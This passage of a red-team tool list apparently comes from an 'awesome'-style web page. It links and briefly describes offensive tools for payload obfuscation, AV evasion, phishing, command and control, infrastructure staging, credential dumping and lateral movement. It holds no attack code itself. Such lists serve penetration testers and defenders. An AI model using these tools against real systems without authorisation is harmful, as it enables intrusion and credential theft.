href="https://github.com/Mr-Un1k0d3r/DKMC">https://github.com/Mr-Un1k0d3r/DKMC</a></li><li><strong>Malicious Macro Generator Utility</strong> Simple utility design to generate obfuscated macro that also include a AV / Sandboxes escape mechanism. <a href="https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator">https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator</a></li><li><strong>SCT Obfuscator</strong> Cobalt Strike SCT payload obfuscator. <a href="https://github.com/Mr-Un1k0d3r/SCT-obfuscator">https://github.com/Mr-Un1k0d3r/SCT-obfuscator</a></li><li><strong>Invoke-Obfuscation</strong> PowerShell Obfuscator. <a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></li><li><strong>Invoke-CradleCrafter</strong> PowerShell remote download cradle generator and obfuscator. <a href="https://github.com/danielbohannon/Invoke-CradleCrafter">https://github.com/danielbohannon/Invoke-CradleCrafter</a></li><li><strong>Invoke-DOSfuscation</strong> cmd.exe Command Obfuscation Generator &amp; Detection Test Harness. <a href="https://github.com/danielbohannon/Invoke-DOSfuscation">https://github.com/danielbohannon/Invoke-DOSfuscation</a></li><li><strong>morphHTA</strong> Morphing Cobalt Strike’s evil.HTA. <a href="https://github.com/vysec/morphHTA">https://github.com/vysec/morphHTA</a></li><li><strong>Unicorn</strong> is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. <a href="https://github.com/trustedsec/unicorn">https://github.com/trustedsec/unicorn</a></li><li><strong>Shellter</strong> is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created. <a href="https://www.shellterproject.com/">https://www.shellterproject.com/</a></li><li><strong>EmbedInHTML</strong> Embed and hide any file in an HTML file. <a href="https://github.com/Arno0x/EmbedInHTML">https://github.com/Arno0x/EmbedInHTML</a></li><li><strong>SigThief</strong> Stealing Signatures and Making One Invalid Signature at a Time. <a href="https://github.com/secretsquirrel/SigThief">https://github.com/secretsquirrel/SigThief</a></li><li><strong>Veil</strong> is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. <a href="https://github.com/Veil-Framework/Veil">https://github.com/Veil-Framework/Veil</a></li><li><strong>CheckPlease</strong> Sandbox evasion modules written in PowerShell, Python, Go, Ruby, C, C#, Perl, and Rust. <a href="https://github.com/Arvanaghi/CheckPlease">https://github.com/Arvanaghi/CheckPlease</a></li><li><strong>Invoke-PSImage</strong> is a tool to embeded a PowerShell script in the pixels of a PNG file and generates a oneliner to execute. <a href="https://github.com/peewpw/Invoke-PSImage">https://github.com/peewpw/Invoke-PSImage</a></li><li><strong>LuckyStrike</strong> a PowerShell based utility for the creation of malicious Office macro documents. To be used for pentesting or educational purposes only. <a href="https://github.com/curi0usJack/luckystrike">https://github.com/curi0usJack/luckystrike</a></li><li><strong>ClickOnceGenerator</strong> Quick Malicious ClickOnceGenerator for Red Team. The default application a simple WebBrowser widget that point to a website of your choice. <a href="https://github.com/Mr-Un1k0d3r/ClickOnceGenerator">https://github.com/Mr-Un1k0d3r/ClickOnceGenerator</a></li><li><strong>macro_pack</strong> is a tool by @EmericNasi used to automatize obfuscation and generation of MS Office documents, VB scripts, and other formats for pentest, demo, and social engineering assessments. <a href="https://github.com/sevagas/macro_pack">https://github.com/sevagas/macro_pack</a></li><li><strong>StarFighters</strong> a JavaScript and VBScript Based Empire Launcher. <a href="https://github.com/Cn33liz/StarFighters">https://github.com/Cn33liz/StarFighters</a></li><li><strong>nps_payload</strong> this script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. <a href="https://github.com/trustedsec/nps_payload">https://github.com/trustedsec/nps_payload</a></li><li><strong>SocialEngineeringPayloads</strong> a collection of social engineering tricks and payloads being used for credential theft and spear phishing attacks. <a href="https://github.com/bhdresh/SocialEngineeringPayloads">https://github.com/bhdresh/SocialEngineeringPayloads</a></li><li><strong>The Social-Engineer Toolkit</strong> is an open-source penetration testing framework designed for social engineering. <a href="https://github.com/trustedsec/social-engineer-toolkit">https://github.com/trustedsec/social-engineer-toolkit</a></li><li><strong>Phishery</strong> is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. <a href="https://github.com/ryhanson/phishery">https://github.com/ryhanson/phishery</a></li><li><strong>PowerShdll</strong> run PowerShell with rundll32. Bypass software restrictions. <a href="https://github.com/p3nt4/PowerShdll">https://github.com/p3nt4/PowerShdll</a></li><li><strong>Ultimate AppLocker ByPass List</strong> The goal of this repository is to document the most common techniques to bypass AppLocker. <a href="https://github.com/api0cradle/UltimateAppLockerByPassList">https://github.com/api0cradle/UltimateAppLockerByPassList</a></li><li><strong>Ruler</strong> is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. <a href="https://github.com/sensepost/ruler">https://github.com/sensepost/ruler</a></li><li><strong>Generate-Macro</strong> is a standalone PowerShell script that will generate a malicious Microsoft Office document with a specified payload and persistence method. <a href="https://github.com/enigma0x3/Generate-Macro">https://github.com/enigma0x3/Generate-Macro</a></li><li><strong>Malicious Macro MSBuild Generator</strong> Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass. <a href="https://github.com/infosecn1nja/MaliciousMacroMSBuild">https://github.com/infosecn1nja/MaliciousMacroMSBuild</a></li><li><strong>Meta Twin</strong> is designed as a file resource cloner. Metadata, including digital signature, is extracted from one file and injected into another. <a href="https://github.com/threatexpress/metatwin">https://github.com/threatexpress/metatwin</a></li><li><strong>WePWNise</strong> generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software. <a href="https://github.com/mwrlabs/wePWNise">https://github.com/mwrlabs/wePWNise</a></li><li><strong>DotNetToJScript</strong> a tool to create a JScript file which loads a .NET v2 assembly from memory. <a href="https://github.com/tyranid/DotNetToJScript">https://github.com/tyranid/DotNetToJScript</a></li><li><strong>PSAmsi</strong> is a tool for auditing and defeating AMSI signatures. <a href="https://github.com/cobbr/PSAmsi">https://github.com/cobbr/PSAmsi</a></li><li><strong>Reflective DLL injection</strong> is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. <a href="https://github.com/stephenfewer/ReflectiveDLLInjection">https://github.com/stephenfewer/ReflectiveDLLInjection</a></li><li><strong>ps1encode</strong> use to generate and encode a powershell based metasploit payloads. <a href="https://github.com/CroweCybersecurity/ps1encode">https://github.com/CroweCybersecurity/ps1encode</a></li><li><strong>Worse PDF</strong> turn a normal PDF file into malicious. Use to steal Net-NTLM Hashes from windows machines. <a href="https://github.com/3gstudent/Worse-PDF">https://github.com/3gstudent/Worse-PDF</a></li><li><strong>SpookFlare</strong> has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. <a href="https://github.com/hlldz/SpookFlare">https://github.com/hlldz/SpookFlare</a></li><li><strong>GreatSCT</strong> is an open source project to generate application white list bypasses. This tool is intended for BOTH red and blue team. <a href="https://github.com/GreatSCT/GreatSCT">https://github.com/GreatSCT/GreatSCT</a></li><li><strong>nps</strong> running powershell without powershell. <a href="https://github.com/Ben0xA/nps">https://github.com/Ben0xA/nps</a></li><li><strong>Meterpreter_Paranoid_Mode.sh</strong> allows users to secure your staged/stageless connection for Meterpreter by having it check the certificate of the handler it is connecting to. <a href="https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL">https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL</a></li><li><strong>The Backdoor Factory (BDF)</strong> is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state. <a href="https://github.com/secretsquirrel/the-backdoor-factory">https://github.com/secretsquirrel/the-backdoor-factory</a></li><li><strong>MacroShop</strong> a collection of scripts to aid in delivering payloads via Office Macros. <a href="https://github.com/khr0x40sh/MacroShop">https://github.com/khr0x40sh/MacroShop</a></li><li><strong>UnmanagedPowerShell</strong> Executes PowerShell from an unmanaged process. <a href="https://github.com/leechristensen/UnmanagedPowerShell">https://github.com/leechristensen/UnmanagedPowerShell</a></li><li><strong>evil-ssdp</strong> Spoof SSDP replies to phish for NTLM hashes on a network. Creates a fake UPNP device, tricking users into visiting a malicious phishing page. <a href="https://gitlab.com/initstring/evil-ssdp">https://gitlab.com/initstring/evil-ssdp</a></li><li><strong>Ebowla</strong> Framework for Making Environmental Keyed Payloads. <a href="https://github.com/Genetic-Malware/Ebowla">https://github.com/Genetic-Malware/Ebowla</a></li><li><strong>make-pdf-embedded</strong> a tool to create a PDF document with an embedded file. <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/make-pdf-embedded.py">https://github.com/DidierStevens/DidierStevensSuite/blob/master/make-pdf-embedded.py</a></li><li><strong>avet</strong> (AntiVirusEvasionTool) is targeting windows machines with executable files using different evasion techniques. <a href="https://github.com/govolution/avet">https://github.com/govolution/avet</a></li><li><strong>EvilClippy</strong> A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows. <a href="https://github.com/outflanknl/EvilClippy">https://github.com/outflanknl/EvilClippy</a></li><li><strong>CallObfuscator</strong> Obfuscate windows apis from static analysis tools and debuggers. <a href="https://github.com/d35ha/CallObfuscator">https://github.com/d35ha/CallObfuscator</a></li><li><strong>Donut</strong> is a shellcode generation tool that creates position-independant shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes. <a href="https://github.com/TheWover/donut">https://github.com/TheWover/donut</a></li></ul><h3>Delivery</h3><blockquote><strong>Phishing</strong></blockquote><ul><li><strong>King Phisher</strong> is a tool for testing and promoting user awareness by simulating real world phishing attacks. <a href="https://github.com/securestate/king-phisher">https://github.com/securestate/king-phisher</a></li><li><strong>FiercePhish</strong> is a full-fledged phishing framework to manage all phishing engagements. It allows you to track separate phishing campaigns, schedule sending of emails, and much more. <a href="https://github.com/Raikia/FiercePhish">https://github.com/Raikia/FiercePhish</a></li><li><strong>ReelPhish</strong> is a Real-Time Two-Factor Phishing Tool. <a href="https://github.com/fireeye/ReelPhish/">https://github.com/fireeye/ReelPhish/</a></li><li><strong>Gophish</strong> is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training. <a href="https://github.com/gophish/gophish">https://github.com/gophish/gophish</a></li><li><strong>CredSniper</strong> is a phishing framework written with the Python micro-framework Flask and Jinja2 templating which supports capturing 2FA tokens. <a href="https://github.com/ustayready/CredSniper">https://github.com/ustayready/CredSniper</a></li><li><strong>PwnAuth</strong> a web application framework for launching and managing OAuth abuse campaigns. <a href="https://github.com/fireeye/PwnAuth">https://github.com/fireeye/PwnAuth</a></li><li><strong>Phishing Frenzy</strong> Ruby on Rails Phishing Framework. <a href="https://github.com/pentestgeek/phishing-frenzy">https://github.com/pentestgeek/phishing-frenzy</a></li><li><strong>Phishing Pretexts</strong> a library of pretexts to use on offensive phishing engagements. <a href="https://github.com/L4bF0x/PhishingPretexts">https://github.com/L4bF0x/PhishingPretexts</a></li><li><strong>Modlishka</strong> is a flexible and powerful reverse proxy, that will take your ethical phishing campaigns to the next level. <a href="https://github.com/drk1wi/Modlishka">https://github.com/drk1wi/Modlishka</a></li><li><strong>Evilginx2</strong> is a man-in-the-middle attack framework used for phishing credentials and session cookies of any web service. <a href="https://github.com/kgretzky/evilginx2">https://github.com/kgretzky/evilginx2</a></li></ul><blockquote><strong>Watering Hole Attack</strong></blockquote><ul><li><strong>BeEF</strong> is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. <a href="https://github.com/beefproject/beef">https://github.com/beefproject/beef</a></li></ul><h3>Command and Control</h3><blockquote><strong>Remote Access Tools</strong></blockquote><ul><li><strong>Cobalt Strike</strong> is software for Adversary Simulations and Red Team Operations. <a href="https://cobaltstrike.com/">https://cobaltstrike.com/</a></li><li><strong>Empire</strong> is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. <a href="https://github.com/EmpireProject/Empire">https://github.com/EmpireProject/Empire</a></li><li><strong>Metasploit Framework</strong> is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></li><li><strong>SILENTTRINITY</strong> A post-exploitation agent powered by Python, IronPython, C#/.NET. <a href="https://github.com/byt3bl33d3r/SILENTTRINITY">https://github.com/byt3bl33d3r/SILENTTRINITY</a></li><li><strong>Pupy</strong> is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python. <a href="https://github.com/n1nj4sec/pupy">https://github.com/n1nj4sec/pupy</a></li><li><strong>Koadic</strong> or COM Command &amp; Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. <a href="https://github.com/zerosum0x0/koadic">https://github.com/zerosum0x0/koadic</a></li><li><strong>PoshC2</strong> is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. <a href="https://github.com/nettitude/PoshC2_Python">https://github.com/nettitude/PoshC2_Python</a></li><li><strong>Gcat</strong> a stealthy Python based backdoor that uses Gmail as a command and control server. <a href="https://github.com/byt3bl33d3r/gcat">https://github.com/byt3bl33d3r/gcat</a></li><li><strong>TrevorC2</strong> is a legitimate website (browsable) that tunnels client/server communications for covert command execution. <a href="https://github.com/trustedsec/trevorc2">https://github.com/trustedsec/trevorc2</a></li><li><strong>Merlin</strong> is a cross-platform post-exploitation HTTP/2 Command &amp; Control server and agent written in golang. <a href="https://github.com/Ne0nd0g/merlin">https://github.com/Ne0nd0g/merlin</a></li><li><strong>Quasar</strong> is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. <a href="https://github.com/quasar/QuasarRAT">https://github.com/quasar/QuasarRAT</a></li><li><strong>Covenant</strong> is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. <a href="https://github.com/cobbr/Covenant">https://github.com/cobbr/Covenant</a></li><li><strong>FactionC2</strong> is a C2 framework which use websockets based API that allows for interacting with agents and transports. <a href="https://github.com/FactionC2/">https://github.com/FactionC2/</a></li><li><strong>DNScat2</strong> is a tool is designed to create an encrypted command-and-control (C&amp;C) channel over the DNS protocol. <a href="https://github.com/iagox86/dnscat2">https://github.com/iagox86/dnscat2</a></li><li><strong>Sliver</strong> is a general purpose cross-platform implant framework that supports C2 over Mutual-TLS, HTTP(S), and DNS. <a href="https://github.com/BishopFox/sliver">https://github.com/BishopFox/sliver</a></li><li><strong>EvilOSX</strong> An evil RAT (Remote Administration Tool) for macOS / OS X. <a href="https://github.com/Marten4n6/EvilOSX">https://github.com/Marten4n6/EvilOSX</a></li><li><strong>EggShell</strong> is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. <a href="https://github.com/neoneggplant/EggShell">https://github.com/neoneggplant/EggShell</a></li></ul><blockquote><strong>Staging</strong></blockquote><ul><li><strong>Rapid Attack Infrastructure (RAI)</strong> Red Team Infrastructure… Quick… Fast… Simplified One of the most tedious phases of a Red Team Operation is usually the infrastructure setup. This usually entails a teamserver or controller, domains, redirectors, and a Phishing server. <a href="https://github.com/obscuritylabs/RAI">https://github.com/obscuritylabs/RAI</a></li><li><strong>Red Baron</strong> is a set of modules and custom/third-party providers for Terraform which tries to automate creating resilient, disposable, secure and agile infrastructure for Red Teams. <a href="https://github.com/byt3bl33d3r/Red-Baron">https://github.com/byt3bl33d3r/Red-Baron</a></li><li><strong>EvilURL</strong> generate unicode evil domains for IDN Homograph Attack and detect them. <a href="https://github.com/UndeadSec/EvilURL">https://github.com/UndeadSec/EvilURL</a></li><li><strong>Domain Hunter</strong> checks expired domains, bluecoat categorization, and Archive.org history to determine good candidates for phishing and C2 domain names. <a href="https://github.com/threatexpress/domainhunter">https://github.com/threatexpress/domainhunter</a></li><li><strong>PowerDNS</strong> is a simple proof of concept to demonstrate the execution of PowerShell script using DNS only. <a href="https://github.com/mdsecactivebreach/PowerDNS">https://github.com/mdsecactivebreach/PowerDNS</a></li><li><strong>Chameleon</strong> a tool for evading Proxy categorisation. <a href="https://github.com/mdsecactivebreach/Chameleon">https://github.com/mdsecactivebreach/Chameleon</a></li><li><strong>CatMyFish</strong> Search for categorized domain that can be used during red teaming engagement. Perfect to setup whitelisted domain for your Cobalt Strike beacon C&amp;C. <a href="https://github.com/Mr-Un1k0d3r/CatMyFish">https://github.com/Mr-Un1k0d3r/CatMyFish</a></li><li><strong>Malleable C2</strong> is a domain specific language to redefine indicators in Beacon’s communication. <a href="https://github.com/rsmudge/Malleable-C2-Profiles">https://github.com/rsmudge/Malleable-C2-Profiles</a></li><li><strong>Malleable-C2-Randomizer</strong> This script randomizes Cobalt Strike Malleable C2 profiles through the use of a metalanguage, hopefully reducing the chances of flagging signature-based detection controls. <a href="https://github.com/bluscreenofjeff/Malleable-C2-Randomizer">https://github.com/bluscreenofjeff/Malleable-C2-Randomizer</a></li><li><strong>FindFrontableDomains</strong> search for potential frontable domains. <a href="https://github.com/rvrsh3ll/FindFrontableDomains">https://github.com/rvrsh3ll/FindFrontableDomains</a></li><li><strong>Postfix-Server-Setup</strong> Setting up a phishing server is a very long and tedious process. It can take hours to setup, and can be compromised in minutes. <a href="https://github.com/n0pe-sled/Postfix-Server-Setup">https://github.com/n0pe-sled/Postfix-Server-Setup</a></li><li><strong>DomainFrontingLists</strong> a list of Domain Frontable Domains by CDN. <a href="https://github.com/vysec/DomainFrontingLists">https://github.com/vysec/DomainFrontingLists</a></li><li><strong>Apache2-Mod-Rewrite-Setup</strong> Quickly Implement Mod-Rewrite in your infastructure. <a href="https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup">https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup</a></li><li><strong>mod_rewrite rule</strong> to evade vendor sandboxes. <a href="https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10">https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10</a></li><li><strong>external_c2 framework</strong> a python framework for usage with Cobalt Strike’s External C2. <a href="https://github.com/Und3rf10w/external_c2_framework">https://github.com/Und3rf10w/external_c2_framework</a></li><li><strong>Malleable-C2-Profiles</strong> A collection of profiles used in different projects using Cobalt Strike <a href="https://www.cobaltstrike.com/">https://www.cobaltstrike.com/</a>. <a href="https://github.com/xx0hcd/Malleable-C2-Profiles">https://github.com/xx0hcd/Malleable-C2-Profiles</a></li><li><strong>ExternalC2</strong> a library for integrating communication channels with the Cobalt Strike External C2 server. <a href="https://github.com/ryhanson/ExternalC2">https://github.com/ryhanson/ExternalC2</a></li><li><strong>cs2modrewrite</strong> a tools for convert Cobalt Strike profiles to modrewrite scripts. <a href="https://github.com/threatexpress/cs2modrewrite">https://github.com/threatexpress/cs2modrewrite</a></li><li><strong>e2modrewrite</strong> a tools for convert Empire profiles to Apache modrewrite scripts. <a href="https://github.com/infosecn1nja/e2modrewrite">https://github.com/infosecn1nja/e2modrewrite</a></li><li><strong>redi</strong> automated script for setting up CobaltStrike redirectors (nginx reverse proxy, letsencrypt). <a href="https://github.com/taherio/redi">https://github.com/taherio/redi</a></li><li><strong>cat-sites</strong> Library of sites for categorization. <a href="https://github.com/audrummer15/cat-sites">https://github.com/audrummer15/cat-sites</a></li><li><strong>ycsm</strong> is a quick script installation for resilient redirector using nginx reverse proxy and letsencrypt compatible with some popular Post-Ex Tools (Cobalt Strike, Empire, Metasploit, PoshC2). <a href="https://github.com/infosecn1nja/ycsm">https://github.com/infosecn1nja/ycsm</a></li><li><strong>Domain Fronting Google App Engine</strong>. <a href="https://github.com/redteam-cyberark/Google-Domain-fronting">https://github.com/redteam-cyberark/Google-Domain-fronting</a></li><li><strong>DomainFrontDiscover</strong> Scripts and results for finding domain frontable CloudFront domains. <a href="https://github.com/peewpw/DomainFrontDiscover">https://github.com/peewpw/DomainFrontDiscover</a></li><li><strong>Automated Empire Infrastructure</strong> <a href="https://github.com/bneg/RedTeam-Automation">https://github.com/bneg/RedTeam-Automation</a></li><li><strong>Serving Random Payloads</strong> with NGINX. <a href="https://gist.github.com/jivoi/a33ace2e25515a31aa2ffbae246d98c9">https://gist.github.com/jivoi/a33ace2e25515a31aa2ffbae246d98c9</a></li><li><strong>meek</strong> is a blocking-resistant pluggable transport for Tor. It encodes a data stream as a sequence of HTTPS requests and responses. <a href="https://github.com/arlolra/meek">https://github.com/arlolra/meek</a></li><li><strong>CobaltStrike-ToolKit</strong> Some useful scripts for CobaltStrike. <a href="https://github.com/killswitch-GUI/CobaltStrike-ToolKit">https://github.com/killswitch-GUI/CobaltStrike-ToolKit</a></li><li><strong>mkhtaccess_red</strong> Auto-generate an HTaccess for payload delivery — automatically pulls ips/nets/etc from known sandbox companies/sources that have been seen before, and redirects them to a benign payload. <a href="https://github.com/violentlydave/mkhtaccess_red">https://github.com/violentlydave/mkhtaccess_red</a></li><li><strong>RedFile</strong> a flask wsgi application that serves files with intelligence, good for serving conditional RedTeam payloads. <a href="https://github.com/outflanknl/RedFile">https://github.com/outflanknl/RedFile</a></li><li><strong>keyserver</strong> Easily serve HTTP and DNS keys for proper payload protection. <a href="https://github.com/leoloobeek/keyserver">https://github.com/leoloobeek/keyserver</a></li><li><strong>DoHC2</strong> allows the ExternalC2 library from Ryan Hanson (<a href="https://github.com/ryhanson/ExternalC2">https://github.com/ryhanson/ExternalC2</a>) to be leveraged for command and control (C2) via DNS over HTTPS (DoH). This is built for the popular Adversary Simulation and Red Team Operations Software Cobalt Strike (<a href="https://www.cobaltstrike.com/">https://www.cobaltstrike.com</a>). <a href="https://github.com/SpiderLabs/DoHC2">https://github.com/SpiderLabs/DoHC2</a></li><li><strong>HTran</strong> is a connection bouncer, a kind of proxy server. A “listener” program is hacked stealthily onto an unsuspecting host anywhere on the Internet. <a href="https://github.com/HiwinCN/HTran">https://github.com/HiwinCN/HTran</a></li></ul><h3>Lateral Movement</h3><ul><li><strong>CrackMapExec</strong> is a swiss army knife for pentesting networks. <a href="https://github.com/byt3bl33d3r/CrackMapExec">https://github.com/byt3bl33d3r/CrackMapExec</a></li><li><strong>PowerLessShell</strong> rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. <a href="https://github.com/Mr-Un1k0d3r/PowerLessShell">https://github.com/Mr-Un1k0d3r/PowerLessShell</a></li><li><strong>GoFetch</strong> is a tool to automatically exercise an attack plan generated by the BloodHound application. <a href="https://github.com/GoFetchAD/GoFetch">https://github.com/GoFetchAD/GoFetch</a></li><li><strong>ANGRYPUPPY</strong> a bloodhound attack path automation in CobaltStrike. <a href="https://github.com/vysec/ANGRYPUPPY">https://github.com/vysec/ANGRYPUPPY</a></li><li><strong>DeathStar</strong> is a Python script that uses Empire’s RESTful API to automate gaining Domain Admin rights in Active Directory environments using a variety of techinques. <a href="https://github.com/byt3bl33d3r/DeathStar">https://github.com/byt3bl33d3r/DeathStar</a></li><li><strong>SharpHound</strong> C# Rewrite of the BloodHound Ingestor. <a href="https://github.com/BloodHoundAD/SharpHound">https://github.com/BloodHoundAD/SharpHound</a></li><li><strong>BloodHound.py</strong> is a Python based ingestor for BloodHound, based on Impacket. <a href="https://github.com/fox-it/BloodHound.py">https://github.com/fox-it/BloodHound.py</a></li><li><strong>Responder</strong> is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. <a href="https://github.com/SpiderLabs/Responder">https://github.com/SpiderLabs/Responder</a></li><li><strong>SessionGopher</strong> is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally. <a href="https://github.com/fireeye/SessionGopher">https://github.com/fireeye/SessionGopher</a></li><li><strong>PowerSploit</strong> is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. <a href="https://github.com/PowerShellMafia/PowerSploit">https://github.com/PowerShellMafia/PowerSploit</a></li><li><strong>Nishang</strong> is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing. <a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></li><li><strong>Inveigh</strong> is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. <a href="https://github.com/Kevin-Robertson/Inveigh">https://github.com/Kevin-Robertson/Inveigh</a></li><li><strong>PowerUpSQL</strong> a PowerShell Toolkit for Attacking SQL Server. <a href="https://github.com/NetSPI/PowerUpSQL">https://github.com/NetSPI/PowerUpSQL</a></li><li><strong>MailSniper</strong> is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). <a href="https://github.com/dafthack/MailSniper">https://github.com/dafthack/MailSniper</a></li><li><strong>DomainPasswordSpray</strong> is a tool written in PowerShell to perform a password spray attack against users of a domain. <a href="https://github.com/dafthack/DomainPasswordSpray">https://github.com/dafthack/DomainPasswordSpray</a></li><li><strong>WMIOps</strong> is a powershell script that uses WMI to perform a variety of actions on hosts, local or remote, within a Windows environment. It’s designed primarily for use on penetration tests or red team engagements. <a href="https://github.com/ChrisTruncer/WMIOps">https://github.com/ChrisTruncer/WMIOps</a></li><li><strong>Mimikatz</strong> is an open-source utility that enables the viewing of credential information from the Windows lsass. <a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a></li><li><strong>LaZagne</strong> project is an open source application used to retrieve lots of passwords stored on a local computer. <a href="https://github.com/AlessandroZ/LaZagne">https://github.com/AlessandroZ/LaZagne</a></li><li><strong>mimipenguin</strong> a tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. <a href="https://github.com/huntergregal/mimipenguin">https://github.com/huntergregal/mimipenguin</a></li><li><strong>PsExec</strong> is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></li><li><strong>KeeThief</strong> allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system. <a href="https://github.com/HarmJ0y/KeeThief">https://github.com/HarmJ0y/KeeThief</a></li><li><strong>PSAttack</strong> combines some of the best projects in the infosec powershell community into a self contained custom PowerShell console. <a href="https://github.com/jaredhaight/PSAttack">https://github.com/jaredhaight/PSAttack</a></li><li><strong>Internal Monologue Attack</strong> Retrieving NTLM Hashes without Touching LSASS. <a href="https://github.com/eladshamir/Internal-Monologue">https://github.com/eladshamir/Internal-Monologue</a></li><li><strong>Impacket</strong> is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (for instance NMB, SMB1–3 and MS-DCERPC) the protocol implementation itself. <a href="https://github.com/CoreSecurity/impacket">https://github.com/CoreSecurity/impacket</a></li><li><strong>icebreaker</strong> gets plaintext Active Directory credentials if you’re on the internal network but outside the AD environment. <a href="https://github.com/DanMcInerney/icebreaker">https://github.com/DanMcInerney/icebreaker</a></li><li><strong>Living Off The Land Binaries and Scripts (and now also Libraries)</strong> The goal of these lists are to document every binary, script and library that can be used for other purposes than they are designed to. <a href="https://github.com/api0cradle/LOLBAS">https://github.com/api0cradle/LOLBAS</a></li><li><strong>WSUSpendu</strong> for compromised WSUS server to extend the compromise to clients. <a href="https://github.com/AlsidOfficial/WSUSpendu">https://github.com/AlsidOfficial/WSUSpendu</a></li><li><strong>Evilgrade</strong> is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. <a href="https://github.com/infobyte/evilgrade">https://github.com/infobyte/evilgrade</a></li><li><strong>NetRipper</strong> is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. <a href="https://github.com/NytroRST/NetRipper">https://github.com/NytroRST/NetRipper</a></li><li><strong>LethalHTA</strong> Lateral Movement technique using DCOM and HTA. <a href="https://github.com/codewhitesec/LethalHTA">https://github.com/codewhitesec/LethalHTA</a></li><li><strong>Invoke-PowerThIEf</strong> an Internet Explorer Post Exploitation library. <a href="https://github.com/nettitude/Invoke-PowerThIEf">https://github.com/nettitude/Invoke-PowerThIEf</a></li><li><strong>RedSnarf</strong> is a pen-testing / red-teaming tool for Windows environments. <a href="https://github.com/nccgroup/redsnarf">https://github.com/nccgroup/redsnarf</a></li><li><strong>HoneypotBuster</strong> Microsoft PowerShell module designed for red teams that can be used to find honeypots and honeytokens in the network or at the host. <a 